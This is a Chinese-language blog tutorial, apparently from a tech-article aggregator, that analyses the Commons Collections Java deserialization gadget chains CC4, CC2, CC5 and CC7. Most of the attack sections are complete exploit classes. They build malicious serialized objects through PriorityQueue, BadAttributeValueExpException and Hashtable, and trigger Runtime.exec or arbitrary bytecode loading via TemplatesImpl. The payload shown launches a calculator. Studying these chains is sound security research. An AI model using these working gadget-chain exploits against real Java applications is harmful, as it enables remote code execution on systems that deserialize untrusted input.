Java反序列化-CC4-2-5-7链分析

环境搭建

在之前环境原有代码的基础上，添加这一段代码

    <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

image.png

CC4链分析

CC4可以拼接动态类的加载字节码或者反射调用
image.png

漏洞成因

我们知道之前的命令执行都离不开 transform 方法
image.png
然后我们来到了这里，寻找到了调用它的方法 compare 以及 compare当前所在类
image.png
这个时候对比两个版本的类，可以看见 collections4中这个类继承了序列化接口，而 collections3.2.2 没有
image.png

寻找上半链

找到一个类的调用的方法，需要继续向上找readObject方法的类，这样才能够保证反序列化漏洞的执行。最后找到这个 PriorityQueue 类的readObject方法。它调用了 heapify()，点击去看一下
image.png
发现调用了 siftDown方法，继续点击跟进方法
image.png
发现掉用了 siftDownUsingComparator 方法，继续点击跟进
image.png
最后来到了这里了，发现调用了 compare方法，这个方法调用了之前的危险方法
image.png
所以现在我们构造出了上半链，直接搭配CC3链就是完整的CC4链了
image.png

构造exp

CC3后半链

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws  Exception{
        TemplatesImpl templates = new TemplatesImpl();

        Class<? extends TemplatesImpl> c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());



        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(1);
    }

我们需要思考怎么样构造代码代替第44行
最后添加这2行，查看他们的构造方法进行构造代码：

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

这个时候CC3后半链+CC4前半链变成这个代码了

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws  Exception{
        TemplatesImpl templates = new TemplatesImpl();

        Class<? extends TemplatesImpl> c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());



        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(1);
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        serialize(priorityQueue);
        unserialize("ser.bin")

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return  obj;
    }


}

代码逻辑没有错误，实际上我们序列化反序列化后，命令并没有执行。
image.png

问题解决

我们知道序列化最后是 PriorityQueue 类，我们在它的readObject方法中进行断点调试
image.png
F8来到这里，然后按F7进入到这。
image.png
size 是 0，所以并没有调用方法走出方法了。
image.png
alt + f8可以进行位运算 2>>>1 ，可以看见是为1。我们需要想办法将 size 的值改为2
我们按照这种思路 将优先队列 priorityQueue类进行添加元素：

priorityQueue.add(1);
priorityQueue.add(2);

虽然这里命令执行了，但是反序列化的时候并没有触发。
image.png
这就出现了一个问题了，本地执行了，反序列化没执行。我们点击add方法，最后跟进到这里了，回到了compare 方法
image.png
也就是说我们要做的事情就是序列化之前的时候不执行命令，反序列化的时候才可以执行。
反射修改代码：

Class tc = transformingComparator.getClass();
Field transformer = tc.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);

去找到对应的构造方法复制属性就好了
image.png
最终exp代码：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws  Exception{
        TemplatesImpl templates = new TemplatesImpl();

        Class<? extends TemplatesImpl> c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(1);
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        //序列化的时候改回来执行的代码
        Class tc = transformingComparator.getClass();
        Field transformer = tc.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return  obj;
    }


}

可以看见反序列化命令执行成功。

总结

这条链可以在 commons-collections4.0 版本中使用
image.png

CC2链分析-无数组

CC2链是CC4链的修改版，目的是为了不使用 Transformer 数组。我们知道 CC4链的后半段离不开是这个

TemplatesImpl.newTransformer() --> defineClass->newInstance

所以在CC2链中采取了直接调用 newTransformer 方法，使用了 InvokerTransformer方法调用
image.png

构造exp

所以直接照搬CC4的代码就好了，然后进行修改。
CC4后半链代码：

        TemplatesImpl templates = new TemplatesImpl();

        Class<? extends TemplatesImpl> c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

使用 InvokerTransformer方法调用 newTransformer 方法。

InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

修改前半链的CC4代码：

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(1);

        //序列化的时候改回来执行的代码
        Class tc = transformingComparator.getClass();
        Field transformer = tc.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,newTransformer);
  • priorityQueue添加 templates 元素是为了，加载 TemplatesImpl 的这个类

这样才能执行后半链代码的内容，从而构造exp代码：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();

        Class<? extends TemplatesImpl> c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(1);

        //序列化的时候改回来执行的代码
        Class tc = transformingComparator.getClass();
        Field transformer = tc.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,newTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return  obj;
    }

}

反序列化代码后，可以看见命令执行成功！
image.png

总结

和CC4的利用的版本范围都是一样的，可以在 commons-collections4.0 版本中使用。只是修改了调用链的思路，和CC4差不多。

CC5链分析

官方的CC5链子：

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java

可以发现CC5链子 大半后半链都是CC1的链子，只是前面不一样了
image.png
下面是CC1的链子：
image.png
从LazyMap.get()以上开始就不一样了

分析上层链

TiedMapEntry.toString链

直接看LazyMap类的get方法，然后向上寻找调用它的类的方法名
image.png
在TiedMapEntry类中的toString方法可以看见调用了一个getVAlue方法
image.png
根据该方法可以看见来到了 get方法里
image.png
从而意味这这个类的方法是可控的。
原版CC1链的后半链代码：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.io.*;


public class CC5 {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;

        Method get = lazyMapClass.getMethod("get", Object.class);
        get.invoke(lazymap,chainedTransformer);
    }
}

可以看见可以正常的命令执行
image.png
现在我们修改代码为刚刚分析的 TiedMapEntry的toString方法进行命令执行：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;

//        Method get = lazyMapClass.getMethod("get", Object.class);
//        get.invoke(lazymap,chainedTransformer);

        //这两行代替前面的两行注释
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        tiedMapEntry.toString();
    }
}

image.png
image.png
最后getValue方法调用了get方法。
运行代码可以看见我们的构造链成功命令执行了
image.png

BadAttributeValueExpException.readObject入口类链

根据官方链，我们来到入口类，可以看见 BadAttributeValueExpException 类的构造方法是可控的。而且它的传参值调用了toString方法，也就是说我们可以利用这个点来命令执行，接上了 TiedMapEntry的类。
而且这个类还拥有了readObject方法。
image.png
从而我们先构造一个exp代码：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;

//        Method get = lazyMapClass.getMethod("get", Object.class);
//        get.invoke(lazymap,chainedTransformer);

        //这两行代替前面的两行注释
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
//        tiedMapEntry.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

可以看见 BadAttributeValueExpException类传的 TiedMapEntry类的变量，可以看见成功调用了toString且命令执行了
image.png
image.png

最终exp

可以发现上层链的构造思路是可行的。我们的目的是序列化之前不进行命令执行，是在反序列化的时候命令执行。所以我们需要利用到反射修改 BadAttributeValueExpException类的属性。
image.png
执行代码的时候不行，序列化的时候改回来执行代码的属性。将 val的传参现改为 null，或者其他没用的

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class<? extends BadAttributeValueExpException> b = badAttributeValueExpException.getClass();
        Field val = b.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

最终exp代码：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;

//        Method get = lazyMapClass.getMethod("get", Object.class);
//        get.invoke(lazymap,chainedTransformer);

        //这两行代替前面的两行注释
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
//        tiedMapEntry.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class<? extends BadAttributeValueExpException> b = badAttributeValueExpException.getClass();
        Field val = b.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }

}

最后只进行反序列化代码，可以看见命令执行成功。
image.png

总结

CC5比CC1的代码更加简便，不需要代理。通过 TiedMapEntry类的toString方法进行代替，调用后面的LazyMap类。是CC1的变种版

CC7链分析

环境搭建

Commons Collections 3.2.1
JDK8u65

官方利用链

官方CC7链：

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java

对比CC1从LazayMap上层开始，就不一样了
image.png
实际上这两个equals方法，其中第一行是父类，第二行是子类。在java中，在java中，如果父类方法先执行，如果父类方法不能满足，就会去执行子类方法如果父类方法先执行，而子类中也有同名方法，且满足调用条件，会执行子类方法，不会再继续执行父类方法。

org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals

分析equals方法链

我们直接来到 AbstractMap类的 equals 方法中，可以发现调用了get方法
image.png
为了走到equals调用 get(key)方法。我们需要绕过前面的代码，全部都返回为fasle，且键名不能相同。
从而构造exp：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
import java.io.*;

public class CC7 {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        lazymap.put("1","2");


        HashMap<Object, Object> hashMap1 = new HashMap<>();
        Map lazymap1 = LazyMap.decorate(hashMap1, chainedTransformer);
        lazymap1.put("3","4");


        lazymap.equals(lazymap1);
    }
}

image.png
运行之后可以看见命令执行成功，证实了equals方法链能够利用
image.png

LazyMap类调用了map父类的构造方法，且AbstractMapDecorator类的 equals方法也是用 map的类型调用的
image.png
因为LazyMap1也是Map类型，所以可以调用一个hashMap.equals()传入它。
exp代码构造：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
import java.io.*;

public class CC7 {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        lazymap.put("1","2");


        HashMap<Object, Object> hashMap1 = new HashMap<>();
        Map lazymap1 = LazyMap.decorate(hashMap1, chainedTransformer);
        lazymap1.put("3","4");


        hashMap.equals(lazymap1);
    }
}

可以看见命令执行成功
image.png

分析入口类链

来到 Hashtable类的 readObject方法中可以看见调用了 reconstitutionPut 方法
image.png
跟进 reconstitutionPut 方法，可以发现调用 key变量调用了equals方法
image.png
但是要调用它的方法有个条件，就是不同的key的hash值要相同。
image.png
所以在这里我们分析出了，Hashtable的两个不同键名如果相同就会调用 equals方法。入口类反序列化就成功了

最终exp

删除yy的意义

  • lazymap1.remove(“yy”);

删除 lazymap1的 yy的键名，是因为 LazyMap的get方法中把 yy 写入到了 lazymap1中了
image.png
如果不删除yy，这里就不会通过比较了
image.png

为什么是yy和zZ？

前面说过了，在 Hashtable入口类中调用了 reconstitutionPut 方法，如果两个不同的key的hash不同也就不会调用，而yy和zZ的hash值是相同的。
image.png
最终代码如下：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
        Map lazymap1 = LazyMap.decorate(new HashMap(), chainedTransformer);

        lazymap.put("yy",1);
        lazymap1.put("zZ",1);

        Hashtable<Object, Object> hashtable = new Hashtable<>();
        hashtable.put(lazymap,1);
        hashtable.put(lazymap1,1);

        Class<ChainedTransformer> c = ChainedTransformer.class;
        Field iTransformers = c.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformers);

        lazymap1.remove("yy");

        serialize(hashtable);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }

}

反序列化之后可以看见命令执行成功
image.png

总结

难点在于hash值碰撞的理解，还有equals方法的调用。我觉得是CC1版本的变种

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/563788.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

C语言 | Leetcode C语言题解之第44题通配符匹配

C语言 | Leetcode C语言题解之第44题通配符匹配

题目&#xff1a; 题解&#xff1a; bool allStars(char* str, int left, int right) {for (int i left; i < right; i) {if (str[i] ! *) {return false;}}return true; } bool charMatch(char u, char v) { return u v || v ?; };bool isMatch(char* s, char* p) {in…
阅读更多...
【探索Linux】P.32（自定义协议）

【探索Linux】P.32（自定义协议）

阅读导航 引言一、自定义协议概念二、自定义协议需要注意的事项三、自定义协议示例(跨网络计算器协议)✅协议代码&#xff08;Protocol.hpp&#xff09;1. 计算器协议简单介绍2. 序列化部分3. 反序列化部分4. 请求和响应数据结构5. 使用自定义协议 四、总结温馨提示 引言 在上…
阅读更多...
iOS - 多线程-GCD

iOS - 多线程-GCD

文章目录 iOS - 多线程-GCD1. 常见多线程方案2. GCD2.1 GCD的常见函数GCD中有2个用来执行任务的函数 2.2 GCD的队列2.2.1 GCD的队列可以分为2大类型 2.3 容易混淆的术语2.4.1 有4个术语比较容易混淆&#xff1a;同步、异步、并发、串行 2.4 各种队列的执行效果 3. 死锁3.1 死锁…
阅读更多...
了解BACnet的对象模型 （三）

了解BACnet的对象模型 （三）

文章目录 前言18个对象BACnet 对象的属性设备对象&#xff08;Device&#xff09;的属性输入输出值对象类型及其属性 在代码中的表达Device对象的属性模拟输入对象的属性 小结 前言 在楼宇自控网络中&#xff0c;各种设备之间要进行数据交换&#xff0c;为了能够实现设备的互操…
阅读更多...
【数字电路与系统】【北京航空航天大学】实验：时序逻辑设计——三色灯开关（四）、设计实现

【数字电路与系统】【北京航空航天大学】实验：时序逻辑设计——三色灯开关（四）、设计实现

本次实验&#xff08;一&#xff09;见博客&#xff1a;【数字电路与系统】【北京航空航天大学】实验&#xff1a;时序逻辑设计——三色灯开关&#xff08;一&#xff09;、实验指导书 本次实验&#xff08;二&#xff09;见博客&#xff1a;【数字电路与系统】【北京航空航天…
阅读更多...
【Yolov系列】Yolov5学习（一）补充1.1：自适应锚框计算

【Yolov系列】Yolov5学习（一）补充1.1：自适应锚框计算

1、Yolov5的网络结构 Yolov5中使用的Coco数据集输入图片的尺寸为640*640&#xff0c;但是训练过程的输入尺寸并不唯一&#xff0c;Yolov5可以采用Mosaic增强技术把4张图片的部分组成了一张尺寸一定的输入图片。如果需要使用预训练权重&#xff0c;最好将输入图片尺寸调整到与作…
阅读更多...
表达式求值（后缀表达式）（数据结构）

表达式求值（后缀表达式）（数据结构）

一、概念 算术表达式是由操作数&#xff08;运算数&#xff09;、运算符&#xff08;操作符&#xff09;、和界线符&#xff08;括号&#xff09;三部分组成&#xff0c;在计算机中进行算术表达式的计算是通过堆栈来实现的。 二后缀表达式的逻辑和实现方式&#xff08;逆波兰…
阅读更多...
CST电磁仿真软件波导端口和离散端口的设置流程【教程解读】

CST电磁仿真软件波导端口和离散端口的设置流程【教程解读】

置波导端口 通过波导端口馈电! Simulation > Sources and Loads > Waveguide Port 假设Waveguide Port是无限长的波导上给定的Mode&#xff0c;用来激励电磁场。相比离散端口(Discrete Port)&#xff0c;波导端口可以提供很好的模式匹配&#xff0c;因此能提供更高的精…
阅读更多...
Android Material Design学习笔记

Android Material Design学习笔记

Material Design控件学习记录 Toolbar 新建一个工程后&#xff0c;在res/values/themes.xml文件里 <resources xmlns:tools"http://schemas.android.com/tools"><!-- Base application theme. --><style name"Theme.MaterialTest" paren…
阅读更多...
Python的round与Excel的round不一样？

Python的round与Excel的round不一样？

Python四舍五入怎么做 round()奇进偶舍round函数既不是“四舍五入”的原则&#xff0c;也不是“四舍六入无成双”的原则。 decimal round() 偶然发现python的round函数和excel的round函数对某些数据的处理结果不一致。有看到博主提到是奇进偶舍的方法&#xff0c;但经过验证和…
阅读更多...
深度学习与神经网络入门

深度学习与神经网络入门

前言 人工智能&#xff08;AI&#xff09;与机器学习&#xff08;ML&#xff09;与深度学习&#xff08;DL&#xff09;的关系&#xff1a; DL包含于ML&#xff0c;ML包含于AI。 即深度学习是机器学习一部分&#xff0c;机器学习又是人工智能的一个分支。 那么深度学习到底有…
阅读更多...
关系型数据库的相关概念

关系型数据库的相关概念

表、记录、字段 表 一个实体集相当于一个表记录 一个实体相当于一个记录&#xff0c;在表中表表现为一行数据字段 一个字段相当于数据库表中的列 表的关联关系 一对一(一对一的表可以合并成一张表)一对多多对多 必须创建第三张表&#xff0c;该表通常称为联接表&#xff0c…
阅读更多...
协议的定制之序列化与反序列化 | 守护进程

协议的定制之序列化与反序列化 | 守护进程

目录 一、再谈协议 二、序列化与反序列化 三、网络计算器的简单实现 四、网络计算器完整代码 五、代码改进 六、守护进程 七、Json序列化与反序列化 八、netstat 一、再谈协议 是对数据格式和计算机之间交换数据时必须遵守的规则的正式描述。简单的说了&#xff0c;网络…
阅读更多...
java多线程-练习

java多线程-练习

需求 代码 使用Callable 方便返回执行的结果&#xff1a;每个线程的发送礼物的数量礼物清单&#xff1a;共享资源&#xff0c;方便上锁礼物数量&#xff1a;线程变量&#xff0c;每个线程发送礼物的数量 public class SendGiftThread implements Callable<Integer> {// 共…
阅读更多...
通过命令行构建Django应用程序

通过命令行构建Django应用程序

